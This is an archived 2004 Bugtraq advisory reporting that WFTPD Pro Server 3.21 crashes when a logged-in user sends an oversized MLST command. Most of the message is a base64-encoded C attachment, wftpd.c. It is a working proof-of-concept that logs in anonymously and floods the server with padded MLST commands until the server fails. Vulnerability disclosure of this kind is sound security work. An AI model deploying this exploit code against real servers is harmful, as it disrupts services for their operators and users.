[36329] in bugtraq
[vulnwatch] WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability
daemon@ATHENA.MIT.EDU (lion)
Tue Aug 31 11:01:43 2004
Message-ID: <20040829183725.17928.qmail@mail.securityfocus.com>
Date: Mon, 30 Aug 2004 02:38:49 +0800
From: "lion" <lion@cnhonker.net>
To: "bugtraq" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="=====001_Dragon437671855331_====="
This is a multi-part message in MIME format.
--=====001_Dragon437671855331_=====
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: 7bit
[vulnwatch] WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability
www.cnhonker.com
Security Advisory
Advisory Name: WFTPD Pro Server 3.21 MLST Command Denial of Service Vulnerability
Release Date: 08/30/2004
Affected version: WFTPD Pro Server 3.21 Release 3
Author: lion <lion@cnhonker.net>
Overview:
A vulnerability has been found in WFTPD Pro Server. The problem \
is When a user logged in, send a "mlst" command to target will crash the Server.
Exploit:
PoC exploit attached.
About HUC:
HUC is still alive.
--=====001_Dragon437671855331_=====
Content-Type: application/octet-stream;
name="wftpd.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="wftpd.c"
LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogd2Z0cGQuYyAtIFdGVFBEIFBybyBTZXJ2ZXIgMy4y
MSBNTFNUIERvUyBFeHBsb2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwMC0yMDA0IEhVQyBBbGwg
UmlnaHRzIFJlc2VydmVkLg0KKg0KKiBBdXRob3IgICA6IGxpb24NCiogICAgICAgICAgOiBsaW9u
QGNuaG9ua2VyLm5ldA0KKiAgICAgICAgICA6IGh0dHA6Ly93d3cuY25ob25rZXIuY29tDQoqIERh
dGUgICAgIDogMjAwNC0wOC0zMA0KKg0KKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KDQojaW5jbHVkZSA8
c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDx3aW5zb2NrMi5oPiANCg0K
I3ByYWdtYSBjb21tZW50KGxpYiwgIndzMl8zMi5saWIiKQ0KDQojZGVmaW5lIEZUUFBPUlQgICAg
ICAyMQ0KI2RlZmluZSBCVUZGU0laRSAgICAgMjA0ODAwDQojZGVmaW5lIE9WRVJGTE9XU0laRSAy
MjANCiNkZWZpbmUgU0laRSAgICAgICAgIDIwNDggICAgICANCg0KLy8gZnVuY3Rpb24NCmludCBj
cmVhdGVfc29ja2V0KCk7DQppbnQgY2xpZW50X2Nvbm5lY3QoaW50IHNvY2tmZCxjaGFyKiBzZXJ2
ZXIsaW50IHBvcnQpOw0KaW50IHdyaXRlYnVmKGNoYXIgKnMsaW50IHNvY2tldCxjaGFyICpidWZm
ZXIsaW50IGxlbik7DQppbnQgcmVhZGJ1ZihjaGFyICpzLGludCBzb2NrZXQsY2hhciAqYnVmZmVy
LGludCBsZW4pOw0Kdm9pZCBjaGVja3N0YXR1cyhjaGFyICpzKTsNCnZvaWQgbG9naW5mdHAoU09D
S0VUIHNvY2tmZCwgY2hhciAqdXNlciwgY2hhciAqcGFzcyk7DQoNCmludCBzaG93ID0gMTsNCmNo
YXIgcmVjdmJ1ZltCVUZGU0laRV07DQpjaGFyIHNlbmRidWZbQlVGRlNJWkVdOw0KDQp2b2lkIG1h
aW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCiAgICBXU0FEQVRBIHdzYTsNCiAgICB1bnNp
Z25lZCBzaG9ydCAgICBwb3J0Ow0KICAgIHVuc2lnbmVkIGxvbmcgICAgIGlwOw0KICAgIGNoYXIg
dXNlclszMl0gPSAiYW5vbnltb3VzIjsNCiAgICBjaGFyIHBhc3NbMzJdID0gImFub255bW91cyI7
DQogICAgaW50IGk7DQogICAgDQogICAgY2hhciAqY29tbWFuZCA9ICJNTFNUICI7DQoNCiAgICBT
T0NLRVQgczsNCiAgICBpbnQgc2l6ZSA9IE9WRVJGTE9XU0laRTsNCg0KICAgIHByaW50ZigiV0ZU
UEQgUHJvIFNlcnZlciAzLjIxIE1MU1QgRG9TIEV4cGxvaXRcclxuIik7DQogICAgICAgIHByaW50
ZigibGlvbiBsaW9uI2NuaG9ua2VyLm5ldCwgaHR0cDovL3d3dy5jbmhvbmtlci5jb21cclxuXG4i
KTsNCg0KICAgIGlmKGFyZ2MgPCAzKQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCIlcyA8VGFyZ2V0
SG9zdD4gPFRhcmdldFBvcnQ+XHJcbiIsIGFyZ3ZbMF0pOw0KICAgICAgICByZXR1cm47DQogICAg
fQ0KICAgIA0KICAgIFdTQVN0YXJ0dXAoTUFLRVdPUkQoMiwyKSwmd3NhKTsNCg0KICAgIGlmKChz
PWNyZWF0ZV9zb2NrZXQoKSk9PTApIA0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJbLV0gRVJST1I6
IENyZWF0ZSBzb2NrZXQgZmFpbGVkLlxyXG4iKTsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAg
ICAgIA0KICAgIGlmKCFjbGllbnRfY29ubmVjdChzLCBhcmd2WzFdLCBhdG9pKGFyZ3ZbMl0pKSkN
CiAgICAgICAgZXhpdCgtMSk7DQogICAgDQogICAgbG9naW5mdHAocywgdXNlciwgcGFzcyk7DQog
ICAgDQogICAgbWVtc2V0KHNlbmRidWYsIDAgLEJVRkZTSVpFKTsNCiAgICBtZW1jcHkoc2VuZGJ1
ZiwgInBhc3ZcclxuIiwgNik7DQogICAgd3JpdGVidWYoIlNlbmQgcGFzdiIsIHMsIHNlbmRidWYs
IDYpOw0KICAgIHJlYWRidWYoInJlYWQiLCBzLCByZWN2YnVmLCBCVUZGU0laRSk7DQogICAgDQog
ICAgZm9yKGk9MDtpPDYwO2krKyxzaXplKyspDQogICAgew0KICAgICAgICBtZW1zZXQoc2VuZGJ1
ZiwgMCwgQlVGRlNJWkUpOw0KICAgICAgICBtZW1zZXQoc2VuZGJ1ZiwgJ0EnLCBzaXplKTsNCiAg
ICAgICAgbWVtY3B5KHNlbmRidWYsIGNvbW1hbmQsIHN0cmxlbihjb21tYW5kKSk7DQogICAgICAg
IHNlbmRidWZbc2l6ZS0yXSA9J1xyJzsNCiAgICAgICAgc2VuZGJ1ZltzaXplLTFdID0nXG4nOw0K
ICAgICAgICANCiAgICAgICAgcHJpbnRmKCJidWZmIHNpemUgOiVkXHJcbiVzXHJcbiIsIHN0cmxl
bihzZW5kYnVmKSwgc2VuZGJ1Zik7DQogICAgICAgIHNob3c9MTsNCiAgICAgICAgd3JpdGVidWYo
IlNlbmQgb3ZlcmZsb3cgYnVmZiIsIHMsIHNlbmRidWYsIHNpemUpOw0KICAgICAgICByZWFkYnVm
KCJyZWFkIiwgcywgcmVjdmJ1ZiwgQlVGRlNJWkUpOw0KICAgICAgICBTbGVlcCg1MDApOw0KICAg
IH0NCiAgICANCiAgICAvL3NlbmQgUVVJVA0KICAgIG1lbXNldChzZW5kYnVmLDAsIEJVRkZTSVpF
KTsNCiAgICBzcHJpbnRmKHNlbmRidWYsICIlc1xyXG4iLCAiUVVJVCIpOw0KICAgIHdyaXRlYnVm
KCJTZW5kIFFVSVQiLCBzLCBzZW5kYnVmLCBzdHJsZW4oc2VuZGJ1ZikpOw0KICAgIA0KICAgIC8v
c2hvdz0xOw0KICAgIC8vcmVhZGJ1ZigiWytdIFFVSVQuLi4uLi4iLCBzLCByZWN2YnVmLCBCVUZG
U0laRSk7ICAgIA0KICAgIC8vcmV0dXJuOw0KICAgICAgICANCiAgICBpZihzKQ0KICAgICAgICBj
bG9zZXNvY2tldChzKTsNCiAgICAgICAgICANCiAgICBXU0FDbGVhbnVwKCk7DQp9DQoNCmludCBj
cmVhdGVfc29ja2V0KCkNCnsgIA0KICAgIGludCBzb2NrZmQ7DQogIA0KICAgIHNvY2tmZD1zb2Nr
ZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZihzb2NrZmQ8MCkNCiAgICB7DQogICAg
ICAgIHByaW50ZigiWy1dIENyZWF0ZSBzb2NrZXQgZXJyb3IuXHJcbiIpOw0KICAgICAgICByZXR1
cm4oMCk7DQogICAgfQ0KICAgIA0KICAgIHJldHVybihzb2NrZmQpOyAgICANCn0NCg0KaW50IGNs
aWVudF9jb25uZWN0KGludCBzb2NrZmQsY2hhciogc2VydmVyLGludCBwb3J0KQ0Kew0KICAgIHN0
cnVjdCBzb2NrYWRkcl9pbiBjbGlhZGRyOw0KICAgIHN0cnVjdCBob3N0ZW50ICpob3N0Ow0KDQog
ICAgaWYoKGhvc3Q9Z2V0aG9zdGJ5bmFtZShzZXJ2ZXIpKT09TlVMTCkNCiAgICB7DQogICAgICAg
IHByaW50ZigiWy1dIEVSUk9SOiBnZXRob3N0YnluYW1lKCVzKSBlcnJvclxuIiwgc2VydmVyKTsN
CiAgICAgICAgcmV0dXJuKC0xKTsNCiAgICB9ICAgICAgDQogICAgDQogICAgbWVtc2V0KCZjbGlh
ZGRyLCAwLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7DQoNCiAgICBjbGlhZGRyLnNpbl9mYW1p
bHk9QUZfSU5FVDsNCiAgICBjbGlhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOw0KICAgIGNsaWFk
ZHIuc2luX2FkZHI9Kigoc3RydWN0IGluX2FkZHIgKilob3N0LT5oX2FkZHIpOw0KICAgIHByaW50
ZigiWytdIFRyeWluZyAlczolZC4uLi4uLiIsIHNlcnZlciwgcG9ydCk7DQogICAgZmZsdXNoKHN0
ZG91dCk7DQoNCiAgICBpZihjb25uZWN0KHNvY2tmZCwoc3RydWN0IHNvY2thZGRyICopJmNsaWFk
ZHIsc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpPDApDQogICAgew0KICAgICAgICBwcmludGYoIkZB
SUxFRCFcclxuIik7DQogICAgICAgIGNsb3Nlc29ja2V0KHNvY2tmZCk7DQogICAgICAgIHJldHVy
bigtMSk7DQogICAgfQ0KDQogICAgcHJpbnRmKCJPSyFcclxuIik7DQogICAgcmV0dXJuKDEpOw0K
fQ0KDQppbnQgd3JpdGVidWYoY2hhciAqcyxpbnQgc29ja2V0LGNoYXIgKmJ1ZmZlcixpbnQgbGVu
KQ0Kew0KICAgIGludCBqOw0KDQogICAgaWYocykNCiAgICB7DQogICAgICAgIHByaW50ZigiWytd
ICVzLi4uLi4uIiwgcyk7DQogICAgICAgIGZmbHVzaChzdGRvdXQpOw0KICAgIH0gICAgDQoNCiAg
ICBqPXNlbmQoc29ja2V0LGJ1ZmZlcixsZW4sMCk7DQogICAgaWYoajw9MCkNCiAgICB7DQogICAg
ICAgIHByaW50ZigiRkFJTEVEIVxyXG4iKTsNCiAgICAgICAgICAgIGV4aXQoLTEpOw0KICAgIH0g
ICAgDQogICAgcHJpbnRmKCJPSyFcclxuIik7DQogICAgcmV0dXJuIGo7DQp9DQoNCmludCByZWFk
YnVmKGNoYXIgKnMsaW50IHNvY2tldCxjaGFyICpidWZmZXIsaW50IGxlbikNCnsNCiAgICBpbnQg
YSxiLGksaj0wOw0KICAgIA0KICAgIGE9Yj1pPTA7DQogICAgbWVtc2V0KGJ1ZmZlciwwLGxlbik7
DQoNCiAgICBpZihzKQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJbK10gJXMuLi4uLi4iLCBzKTsN
CiAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgfQ0KDQogICAgaj1yZWN2KHNvY2tldCxidWZm
ZXIsbGVuLTEsMCk7DQogICAgaWYoaiA8PSAwKQ0KICAgIHsNCiAgICAgICAgaWYocykgcHJpbnRm
KCJGQUlMRUQhXG4iKTsNCiAgICAgICAgICAgIHByaW50ZigiWy1dIFJlY3YgZGF0YSBlcnJvci5c
biIpOw0KICAgICAgICBleGl0KC0xKTsNCiAgICB9ICAgIA0KICAgICAgICANCiAgICBpZihzKSBw
cmludGYoIk9LIVxuIik7DQoNCiAgICBidWZmZXJbbGVuLTFdPSdcMCc7DQoNCiAgICBpZihzaG93
PT0xKSAgcHJpbnRmKCI8PT1cclxuJXM8PT1cclxuIixidWZmZXIpOw0KDQogICAgcmV0dXJuIGo7
DQp9DQoNCnZvaWQgY2hlY2tzdGF0dXMoY2hhciAqcykNCnsNCiAgICBpZihzPT1OVUxMKSBleGl0
KC0xKTsNCiAgICBpZihpc2RpZ2l0KCpzKSkNCiAgICB7DQogICAgICAgIGlmKHNbMF09PSc1JykN
CiAgICAgICAgeyAgICANCiAgICAgICAgICAgIHByaW50ZigiWy1dIFNlcnZlciB0b2xkOiVzXG4i
LHMpOw0KICAgICAgICAgICAgZXhpdCgtMSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSByZXR1
cm47DQogICAgfQ0KDQogICAgcHJpbnRmKCJbLV0gU2VydmVyIHNhaWQ6JXNcbiIscyk7DQogICAg
ZXhpdCgtMSk7DQp9DQoNCnZvaWQgbG9naW5mdHAoU09DS0VUIHNvY2tmZCwgY2hhciAqdXNlciwg
Y2hhciAqcGFzcykNCnsNCiAgICBpbnQgajsNCiAgICANCiAgICBzaG93PTE7DQogICAgcmVhZGJ1
ZigiR2V0IEZUUCBTZXJ2ZXIgYmFubmVyIixzb2NrZmQsIHJlY3ZidWYsIFNJWkUpOw0KICAgIC8v
c2hvdz0wOw0KDQogICAgLy9zZW5kIFVTRVIgdXNlcm5hbWUNCiAgICBtZW1zZXQoc2VuZGJ1Ziww
LEJVRkZTSVpFKTsNCiAgICBqPXNwcmludGYoc2VuZGJ1ZiwiJXMgJXNcclxuIiwgIlVTRVIiLCB1
c2VyKTsNCiAgICB3cml0ZWJ1ZigiU2VuZCBVU0VSIiwgc29ja2ZkLHNlbmRidWYsaik7DQogICAg
cmVhZGJ1ZihOVUxMLHNvY2tmZCwgcmVjdmJ1ZiwgQlVGRlNJWkUpOw0KICAgIGNoZWNrc3RhdHVz
KHJlY3ZidWYpOw0KDQogICAgLy9zZW5kIFBBU1MgcGFzc3dvcmQNCiAgICBtZW1zZXQoc2VuZGJ1
ZiwwLEJVRkZTSVpFKTsNCiAgICBqPXNwcmludGYoc2VuZGJ1ZiwiJXMgJXNcclxuIiwiUEFTUyIs
IHBhc3MpOw0KICAgIHdyaXRlYnVmKCJTZW5kIFBBU1MiLCBzb2NrZmQsIHNlbmRidWYsIGopOw0K
ICAgIHJlYWRidWYoTlVMTCxzb2NrZmQscmVjdmJ1ZiwgQlVGRlNJWkUpOw0KICAgIGNoZWNrc3Rh
dHVzKHJlY3ZidWYpOw0KICAgIHByaW50ZigiWytdIFVzZXIgJXMgbG9nZ2VkIGluLlxyXG4iLCB1
c2VyKTsNCn0NCg==
--=====001_Dragon437671855331_=====--
